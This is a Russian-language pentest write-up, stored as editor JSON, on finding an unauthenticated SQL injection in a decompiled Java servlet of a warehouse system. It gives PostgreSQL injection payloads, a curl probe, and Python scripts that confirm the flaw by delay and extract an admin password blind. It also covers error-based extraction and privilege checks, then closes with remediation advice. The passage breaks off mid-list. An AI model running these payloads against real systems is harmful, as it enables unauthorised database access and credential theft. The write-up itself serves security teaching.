{"draftJsState":{"blocks":[{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":13,"offset":0,"style":"BOLD"}],"text":"Автор статьи: Юрий Гришаев — специалист по анализу защищённости веб‑приложений и ПО под Windows. Тимлид в АБП2Б. Сертифицированный специалист OSCP+, входит в Топ75 лучших хакеров на Standoff 365 по найденным уязвимостям.","type":"unstyled","key":"c5qsm"},{"data":{},"depth":0,"entityRanges":[{"key":0,"length":17,"offset":69}],"inlineStyleRanges":[{"length":385,"offset":0,"style":"ITALIC"}],"text":"Материал носит образовательный характер. Все работы велись легально, в рамках пентеста, с письменного согласия владельца системы и в изолированном контуре. Название клиента и продукта не раскрываем — NDA. Имена классов, пакетов и таблиц в листингах изменены. Применяйте это только на системах, доступ к которым у вас есть. Доступ к чужим системам без разрешения преследуется по закону.","type":"unstyled","key":"dp3eh"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Корпоративная Java-система: складской учет, веб-интерфейс, HTTPS. Внутри — SQL-инъекция без аутентификации в одном GET-запросе, из-за строки \"... WHERE ID=\" + параметр.","type":"unstyled","key":"7b2eh"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Разберем, как найти такую в приложении без исходников: декомпиляция JAR → чтение сервлетов → уязвимая строка → подтверждение через pg_sleep. Каждый шаг воспроизводим.","type":"unstyled","key":"9ei3k"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Почему анализ кода","type":"header-two","key":"7f92u"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Инъекцию можно нащупать и перебором снаружи. Но если есть доступ к артефактам приложения (для системы в своей же инфраструктуре они почти всегда есть), чтение кода дает больше:","type":"unstyled","key":"9m5tc"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":14,"offset":2,"style":"BOLD"}],"text":"· точную причину — конкретную строку, а не «где-то здесь ломается»;","type":"unstyled","key":"652vm"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":39,"offset":2,"style":"BOLD"}],"text":"· все параметры и ветвления if/else сразу — не нужно угадывать;","type":"unstyled","key":"av90s"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":8,"offset":2,"style":"BOLD"}],"text":"· контекст — видна СУБД, рабочий синтаксис и способ фикса.","type":"unstyled","key":"6p2o6"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Не замена динамическому тестированию, но разобраться в баге до конца — минуты вместо сотен запросов.","type":"unstyled","key":"92qak"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Что за приложение","type":"header-two","key":"2h9a3"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Цель, без названия:","type":"unstyled","key":"d143c"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":4,"offset":51,"style":"BOLD"}],"text":"· Java-приложение на встроенном Jetty, HTTPS, порт 8443;","type":"unstyled","key":"5aibu"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":10,"offset":11,"style":"BOLD"}],"text":"· бэкенд — PostgreSQL;","type":"unstyled","key":"hipm"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"· код в JAR-библиотеках в WEB-INF\\lib;","type":"unstyled","key":"7n92t"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"· внутри — сервлеты и web.xml, ORM нет, SQL пишется руками.","type":"unstyled","key":"3neel"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Типичный Java-монолит из времен, когда PreparedStatement считался излишеством.","type":"unstyled","key":"47t3l"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Инструменты","type":"header-two","key":"clsbe"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":6,"offset":2,"style":"BOLD"}],"text":"· JD-GUI — декомпиляция .jar/.class в читаемый Java-код.","type":"unstyled","key":"3l126"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":9,"offset":2,"style":"BOLD"}],"text":"· Notepad++(или ripgrep/VS Code) — поиск по дереву исходников регулярками.","type":"unstyled","key":"52gd7"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":19,"offset":2,"style":"BOLD"}],"text":"· Python 3 + requests — PoC.","type":"unstyled","key":"cnh8n"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":4,"offset":2,"style":"BOLD"}],"text":"· curl — отправить запрос руками.","type":"unstyled","key":"8qukk"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":23,"offset":29,"style":"BOLD"}],"text":"JD-GUI — за скорость и пункт File → Save All Sources, который выгружает JAR в дерево .java-файлов. Для обфусцированных сборок лучше CFR или Procyon; здесь обфускации нет.","type":"unstyled","key":"67c4k"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Декомпиляция восстанавливает исходник из байткода. Java компилируется в .class с сохранением имен методов, полей и структуры классов, поэтому результат близок к оригиналу — теряются в основном комментарии и локальные переменные. Для чтения логики этого достаточно.","type":"unstyled","key":"7nn2k"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Шаг 1. Достаем исходники","type":"header-two","key":"6s948"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":13,"offset":121,"style":"BOLD"}],"text":"В WEB-INF\\lib лежат JAR-ы приложения вперемешку со сторонними зависимостями. Нужны только JAR приложения. Отличаем их по имени вендора: наши — acme-wms-*, все остальное (postgresql-*, commons-*, *-slf4j-*) — библиотеки, их пропускаем. На размер не смотрим: у компактного приложения его же JAR-ы бывают меньше сторонних.","type":"unstyled","key":"5bpku"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"WEB-INF\\lib\\\n├─ acme-wms-core.jar <-- ядро приложения (наш вендор)\n├─ acme-wms-web.jar <-- сервлеты и веб-слой <- сюда\n├─ acme-wms-reporting.jar <-- отчеты\n├─ postgresql-42.7.11.jar (сторонняя, пропускаем)\n├─ commons-lang3-3.20.0.jar (сторонняя, пропускаем)\n├─ commons-io-2.22.0.jar (сторонняя, пропускаем)\n└─ ... (slf4j и прочие)","type":"unstyled","key":"7qmau"},{"data":{"image":{"id":"6abb88e96c715e527231c26b"}},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Каталог WEB-INF\\lib: библиотеки приложения узнаем по имени вендора acme-wms-*, остальное — сторонние.","type":"atomic:image","key":"b3po1"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":23,"offset":38,"style":"BOLD"}],"text":"Открываем acme-wms-web.jar в JD-GUI → File → Save All Sources → распаковываем архив. Исходники есть.","type":"unstyled","key":"8j230"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Шаг 2. Ищем SQL в коде","type":"header-two","key":"9o6mn"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Грепнуть SQL по всему коду:","type":"unstyled","key":"cj0fv"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"^.*?select.*?from.*?$\n^.*?query.*?select.*?","type":"blockquote","key":"9o3d5"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Тысячи совпадений в сотнях файлов - если проект большой, анализ может занимать несколько часов.","type":"unstyled","key":"9lc2f"},{"data":{"image":{"id":"6abb89187185080ba43c8686"}},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Find in Files в Notepad++: результат поиска.","type":"atomic:image","key":"bii3n"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Сужаем до сервлетов","type":"header-three","key":"7isj9"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Сервлет — Java-класс, который обрабатывает HTTP-запрос. GET уходит в метод doGet, POST — в doPost, и так далее. Именно там приложение впервые касается данных из запроса, так что уязвимость почти всегда начинается в одном из этих методов. Ищем по ним:","type":"unstyled","key":"5ch0f"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"doGet\ndoPost\ndoPut\ndoDelete","type":"blockquote","key":"8g21c"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Сужаем по регулярке do(Get|Post|Put|Delete). Среди сервлетов — ReportExportServlet.java. Экспорт отчетов = выборка из БД по пользовательским фильтрам, параметры едут прямо в SQL. Открываем.","type":"unstyled","key":"55mmq"},{"data":{"image":{"id":"6abb8942a9abcc47660ba18a"}},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Поиск по doGet: среди результатов — ReportExportServlet.java.","type":"atomic:image","key":"208uj"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Шаг 3. Читаем сервлет","type":"header-two","key":"h3is"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":11,"offset":0,"style":"BOLD"}],"text":"Точки входа","type":"unstyled","key":"6dop7"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Сигнатуры обработчиков:","type":"unstyled","key":"9hjlp"},{"data":{"image":{"id":"6abb89591bcc563a1eacac7b"}},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"doPost делегирует в doGet — атаковать можно и GET, и POST.","type":"atomic:image","key":"1mrhu"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Сам doGet:","type":"unstyled","key":"85e4p"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"public void doGet(HttpServletRequest request, HttpServletResponse response)\n throws ServletException, IOException {\n response.setContentType(\"text/html; charset=UTF-8\");\n PrintWriter out = response.getWriter();\n \n String fullExport = request.getParameter(\"fullExport\");\n if ((fullExport != null) && (\"true\".equals(fullExport))) {\n exportFullCatalog(out);\n return;\n }\n \n String minQty = request.getParameter(\"minQty\");\n String warehouseId = request.getParameter(\"warehouseId\");\n String includeArchived = request.getParameter(\"includeArchived\");\n \n if ((includeArchived != null) && (\"true\".equals(includeArchived))) {\n boolean archived = AccessUtil.hasArchiveAccess(warehouseId);\n out.println(archived);\n } else if (minQty != null) {\n if ((warehouseId != null) && (!\"\".equals(warehouseId))) {\n exportStockByWarehouse(warehouseId, minQty, out); // <-- сюда\n } else {\n exportAllStock(minQty, out);\n }\n } else {\n out.println(\"missing parameters\");\n }\n}","type":"blockquote","key":"5in9d"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"","type":"unstyled","key":"debvh"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Параметры и ветвление","type":"header-three","key":"anjav"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Параметры, которые читает сервлет: fullExport, minQty, warehouseId, includeArchived. Ветвление:","type":"unstyled","key":"8jobt"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"· fullExport=true → exportFullCatalog и return. Мимо.","type":"unstyled","key":"acbo7"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"· includeArchived=true → проверка доступа. Мимо.","type":"unstyled","key":"fkoon"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":48,"offset":52,"style":"BOLD"}],"text":"· иначе, если задан minQty и непустой warehouseId → exportStockByWarehouse(warehouseId, minQty, out). Сюда.","type":"unstyled","key":"6kd5e"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Вход в нужную ветку: fullExport и includeArchived не передаем, minQty и warehouseId — непустыми.","type":"unstyled","key":"990u9"},{"data":{"image":{"id":"6abb89a2489dee41e9e1dd27"}},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"doPost вызывает doGet — обе точки входа ведут к одной логике.","type":"atomic:image","key":"a05n7"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Шаг 4. Находим инъекцию","type":"header-two","key":"76cb3"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"public void exportStockByWarehouse(String paramString1, String minQty, PrintWriter out) {\n int min = Integer.parseInt(minQty);\n String qry = \"select distinct(SKU) from WMS_STOCK_ITEMS where WAREHOUSE_ID=\"\n + paramString1 + \" and QTY > \" + min;\n ...\n Statement st = ConnectionPool.getConnection().createStatement();\n ResultSet rs = st.executeQuery(qry);\n ...\n}","type":"blockquote","key":"ej322"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"· minQty проходит через Integer.parseInt(...) — не-число дает NumberFormatException еще до запроса. Как вектор бесполезен.","type":"unstyled","key":"824rr"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":8,"offset":52,"style":"BOLD"}],"text":"· warehouseId (paramString1) подставляется в запрос как есть: без экранирования, без PreparedStatement, без приведения к числу.","type":"unstyled","key":"79v9v"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"· Запрос выполняется через Statement.executeQuery(qry) — база получает строку буквально.","type":"unstyled","key":"1lmm4"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"warehouseId уязвим к SQL-инъекции. Контекст числовой: значение подставляется без кавычек (WAREHOUSE_ID=1, а не ='1'). Значит, не нужно ничего закрывать или экранировать — мы уже вне строкового литерала и можем сразу дописывать свой SQL. СУБД — PostgreSQL.","type":"unstyled","key":"v08o"},{"data":{"image":{"id":"6abb89dda9abcc47660d2109"}},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Строка \"... WHERE WAREHOUSE_ID=\" + paramString1 — конкатенация ввода в SQL.","type":"atomic:image","key":"eusrp"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Шаг 5. Восстанавливаем URL","type":"header-two","key":"vr7a"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Класс — не адрес. По какому URLсервлет доступен снаружи? Соответствие «класс → URL» задается в дескрипторе развертывания WEB-INF/web.xml: блок дает классу имя, привязывает это имя к пути. Грепаем по имени класса:","type":"unstyled","key":"5q0ve"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"\n ReportExportServlet\n com.acme.wms.servlets.ReportExportServlet\n\n \n\n ReportExportServlet\n /servlet/ReportExportServlet\n","type":"blockquote","key":"1s5d6"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"url-pattern: /servlet/ReportExportServlet.","type":"unstyled","key":"3r1r"},{"data":{"image":{"id":"6abb8a0c429e4938ff10711a"}},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"web.xml связывает класс сервлета с публичным URL.","type":"atomic:image","key":"2fvfb"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Минимальный запрос в уязвимую ветку:","type":"unstyled","key":"b419u"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"https://:8443/servlet/ReportExportServlet?minQty=1&warehouseId=1","type":"unstyled","key":"f5om0"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Соберет SQL:","type":"unstyled","key":"89ink"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"select distinct(SKU) from WMS_STOCK_ITEMS where WAREHOUSE_ID=1 and QTY > 1","type":"unstyled","key":"3gc9h"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"warehouseId — точка входа.","type":"unstyled","key":"arsp6"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Шаг 6. Подтверждаем","type":"header-two","key":"344gq"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":16,"offset":0,"style":"BOLD"}],"text":"Проверка вручную","type":"unstyled","key":"1vnvt"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Руками, с разделителем запросов ; в warehouseId:","type":"unstyled","key":"etlvo"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"curl 'https://192.168.56.20:8443/servlet/ReportExportServlet?minQty=1&warehouseId=1;' -k -i","type":"blockquote","key":"6s52e"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Символ ; завершает один SQL-оператор и начинает следующий (стек-запрос). JDBC-драйвер PostgreSQL по умолчанию разрешает несколько операторов в одном вызове — этим мы и воспользуемся. При включенном [C1] debug-логе в логах приложения появится собранный запрос, а в логе PostgreSQL — синтаксическая ошибка. Ввод долетает до парсера SQL.","type":"unstyled","key":"5253k"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":16,"offset":0,"style":"BOLD"}],"text":"Перебор нагрузок","type":"unstyled","key":"bvcfl"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Нагрузки (PostgreSQL, числовой контекст):","type":"unstyled","key":"9iusf"},{"data":{"image":{"id":"6abb8a58a7f0297f550e21d5"}},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"","type":"atomic:image","key":"94ipg"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"UNION не проходит: число и типы колонок должны совпадать с основным запросом. Тот возвращает distinct(SKU) (varchar), а SELECT 1 — integer. Postgres отвечает UNION types integer and character varying cannot be matched. Приведение типов (SELECT NULL::text) помогло бы, но для подтверждения факта лишнее.","type":"unstyled","key":"5uajk"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Time-basedсрабатывает. pg_sleep(10) — функция PostgreSQL, которая просто ждет заданное число секунд. Прием удобен тем, что не требует данных в ответе: если запрос выполнился, сервер отвечает на 10 секунд дольше — и это уже сигнал «да». Так проверяют инъекцию вслепую, когда результат на страницу не выводится.","type":"unstyled","key":"5j45e"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Одна деталь: после warehouseId в запрос дописывается хвост and QTY > 1. Если оставить нагрузку голой, он прилипнет к pg_sleep (select pg_sleep(10) and QTY > 1) и запрос упадет на анализе еще до выполнения — задержки не будет. Поэтому хвост гасим комментарием --. Наш стек-запрос ;select pg_sleep(10)-- дает ровно такую задержку:","type":"unstyled","key":"a2m04"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"select distinct(SKU) from WMS_STOCK_ITEMS where WAREHOUSE_ID=1;select pg_sleep(10)-- and QTY > 1","type":"unstyled","key":"3q9kj"},{"data":{"image":{"id":"6abb8a79d964b21542ea00ad"}},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"","type":"atomic:image","key":"d59gq"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":13,"offset":0,"style":"BOLD"}],"text":"PoC на Python","type":"header-three","key":"4v05d"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"#!/usr/bin/env python3\nimport sys\nimport requests\nimport urllib3\n \nurllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)\n \n \ndef main():\n if len(sys.argv) != 2:\n print(\"usage: %s \" % sys.argv[0])\n sys.exit(1)\n \n target = sys.argv[1]\n payload = \";select pg_sleep(10)--\" # time-based blind, -- гасит хвост запроса\n \n url = \"https://%s:8443/servlet/ReportExportServlet\" % target\n params = {\"minQty\": \"1\", \"warehouseId\": \"1%s\" % payload}\n \n r = requests.get(url, params=params, verify=False, timeout=30)\n print(\"status: %s\" % r.status_code)\n print(\"elapsed: %.2fs\" % r.elapsed.total_seconds()) # ~10s => подтверждено\n \n \nif __name__ == \"__main__\":\n main()","type":"blockquote","key":"2ek94"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"","type":"unstyled","key":"cr7f1"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Запуск:","type":"unstyled","key":"c65mf"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"$ python3 sql.py 192.168.56.20\nstatus: 200\nelapsed: 10.31s","type":"blockquote","key":"e83sl"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"elapsed ≈ 10 с — сервер выполнил pg_sleep(10). Инъекция подтверждена.","type":"unstyled","key":"4ds38"},{"data":{"image":{"id":"6abb8ab16d02823738fa7482"}},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Ответ пришел через ~10 секунд — pg_sleep отработал.","type":"atomic:image","key":"bgb5"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Подтверждение в логах","type":"header-three","key":"bceun"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":3,"offset":73,"style":"BOLD"}],"text":"Подтверждение на стороне сервера — лог PostgreSQL. Стек-запрос разбит на два оператора: первый — штатная выборка, второй — наш pg_sleep(10), а хвост and QTY > 1 съеден комментарием --:","type":"unstyled","key":"8vgde"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"LOG: execute : select distinct(SKU) from WMS_STOCK_ITEMS where WAREHOUSE_ID=1\nLOG: execute : select pg_sleep(10)-- and QTY > 1","type":"blockquote","key":"8ef6t"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"","type":"unstyled","key":"e32nj"},{"data":{"image":{"id":"6abb8b26ffc0bf29f21a116f"}},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"","type":"atomic:image","key":"2n3dq"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"От blind к дампу","type":"header-two","key":"c60uk"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Задержка доказывает инъекцию, но сама по себе выглядит безобидно: запрос повисел десять секунд, и только. Покажем, что за задержкой стоят реальные данные.","type":"unstyled","key":"j8f5"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Сервлет ошибки прячет: catch логирует их, но в ответ не отдает. Значит, идем полностью вслепую и вытягиваем данные по одному биту тем же приемом с задержкой: истинное условие добавляет pg_sleep, и ответ приходит дольше.","type":"unstyled","key":"e0hbd"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Пробник по первому символу пароля из служебной таблицы APP_USERS:","type":"unstyled","key":"8jr5s"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"1 and ascii(substr((select password from APP_USERS limit 1),1,1)) > 77 and pg_sleep(1) is not null--","type":"blockquote","key":"cf477"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Ответ дольше 1 секунд → код первого символа больше 77. Бинарным поиском по каждой позиции восстанавливаем строку целиком:","type":"unstyled","key":"a8nab"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"import requests, time\nimport urllib3\nurllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)\n \nURL = \"https://127.0.0.1:8443/servlet/ReportExportServlet\"\n \ndef truthy(cond, delay=1):\n wid = \"1 and (%s) and pg_sleep(%d) is not null--\" % (cond, delay)\n t = time.time()\n requests.get(URL, params={\"minQty\": \"1\", \"warehouseId\": wid}, verify=False)\n return time.time() - t > delay\n \nsub = \"(select password from APP_USERS where username='admin')\"\nout = \"\"\nfor pos in range(1, 14):\n lo, hi = 32, 126\n while lo < hi: \n mid = (lo + hi) // 2\n if truthy(\"ascii(substr(%s,%d,1)) > %d\" % (sub, pos, mid)):\n lo = mid + 1\n else:\n hi = mid\n out += chr(lo)\n print(\"pos %2d -> %r\" % (pos, out))\nprint(\"password:\", out)","type":"blockquote","key":"atlvu"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"","type":"unstyled","key":"6uep5"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Пароль вытекает по символу:","type":"unstyled","key":"35di1"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"$ python3 dump.py\npos 1 -> 'S'\npos 2 -> 'S3'\n...\npos 13 -> 'S3cr3t-Adm1n!'\npassword: S3cr3t-Adm1n!","type":"blockquote","key":"bokhb"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"","type":"unstyled","key":"f5on1"},{"data":{"image":{"id":"6abb8ba3a9abcc4766117be7"}},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Пароль админа, извлеченный вслепую по одному символу через задержку.","type":"atomic:image","key":"9764b"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":10,"offset":16,"style":"BOLD"}],"text":"Если приложение возвращает ошибку БД (частый случай — незакрытый stack trace или сообщение об ошибке в ответе), тот же результат достается одним запросом. Приведение строки к int роняет запрос, а PostgreSQL кладет само значение в текст ошибки:","type":"unstyled","key":"694jv"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"curl -sk --data-urlencode 'minQty=1' \\\n --data-urlencode \"warehouseId=1 and 1=cast((select password from APP_USERS where username='admin') as int)--\" \\\n -G 'https://:8443/servlet/ReportExportServlet'\n# export failed: ERROR: invalid input syntax for type integer: \"S3cr3t-Adm1n!\"","type":"blockquote","key":"5q9o7"},{"data":{"image":{"id":"6abb8c623d86857e418e24e6"}},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Пароль админа, извлеченный по выводу Error.","type":"atomic:image","key":"dl95j"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Вот и вся дистанция от «запрос висит 10 секунд» до пароля администратора в открытом виде.","type":"unstyled","key":"9kl1b"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Чтобы выполнить проверку привилегий на суперпользователя можно воспользоваться полезной нагрузкой:","type":"unstyled","key":"ejsn8"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":";SELECT+case+when+(SELECT+current_setting($$is_superuser$$))=$$on$$+then+pg_sleep(10)+end;--+","type":"blockquote","key":"7a0i"},{"data":{"image":{"id":"6abb8c7c3d86857e418e67d2"}},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Проверка привилегий, is_superuser=off.","type":"atomic:image","key":"b4a9u"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Что это дает","type":"header-two","key":"f6lbu"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Через warehouseId — произвольное исполнение SQL от имени учетки приложения. Дальше зависит от ее прав и настроек Postgres:","type":"unstyled","key":"bvq2m"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":19,"offset":2,"style":"BOLD"}],"text":"· чтение любых таблиц — тем же time-based приемом, что показан выше, либо через UNION с приведением типов;","type":"unstyled","key":"cdm5"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":6,"offset":2,"style":"BOLD"}],"text":"· запись — раз стек-запросы проходят, INSERT/UPDATE/DELETE тоже доступны;","type":"unstyled","key":"3duoi"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":23,"offset":36,"style":"BOLD"}],"text":"· при избыточных привилегиях роли — чтение файлов с сервера (pg_read_file) и запуск команд ОС (COPY ... FROM PROGRAM), а это уже прямой путь к RCE.","type":"unstyled","key":"9g5dv"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Как чинить","type":"header-two","key":"9f8md"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Корень — конкатенация недоверенного ввода в SQL. Лечится параметризацией.","type":"unstyled","key":"9nsc3"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Было:","type":"unstyled","key":"7k5um"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"String qry = \"select distinct(SKU) from WMS_STOCK_ITEMS where WAREHOUSE_ID=\"\n + warehouseId + \" and QTY > \" + min;\nResultSet rs = st.executeQuery(qry);","type":"blockquote","key":"ekj89"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Стало:","type":"unstyled","key":"7dgu6"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"String qry = \"select distinct(SKU) from WMS_STOCK_ITEMS \"\n + \"where WAREHOUSE_ID = ? and QTY > ?\";\ntry (PreparedStatement ps = ConnectionPool.getConnection().prepareStatement(qry)) {\n ps.setInt(1, Integer.parseInt(warehouseId));\n ps.setInt(2, min);\n try (ResultSet rs = ps.executeQuery()) {\n while (rs.next()) {\n out.println(rs.getString(\"SKU\"));\n }\n }\n}","type":"blockquote","key":"8qto4"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"По эшелонам:","type":"unstyled","key":"4i4fr"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":59,"offset":3,"style":"BOLD"}],"text":"1. Только PreparedStatement или ORM со связанными параметрами. Никакой склейки ввода с SQL.","type":"unstyled","key":"ap07h"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":25,"offset":3,"style":"BOLD"}],"text":"2. Валидация типов на входе. warehouseId — число, значит Integer.parseInt до любого похода в базу.","type":"unstyled","key":"5i3r3"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":34,"offset":3,"style":"BOLD"}],"text":"3. Наименьшие привилегии для роли БД. Учетке приложения не нужны COPY FROM PROGRAM, чтение файлов и системные таблицы.","type":"unstyled","key":"fp1ib"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":34,"offset":3,"style":"BOLD"}],"text":"4. Отключить многооператорные запросы, если слой доступа позволяет — стек-запросы через ; теряют половину 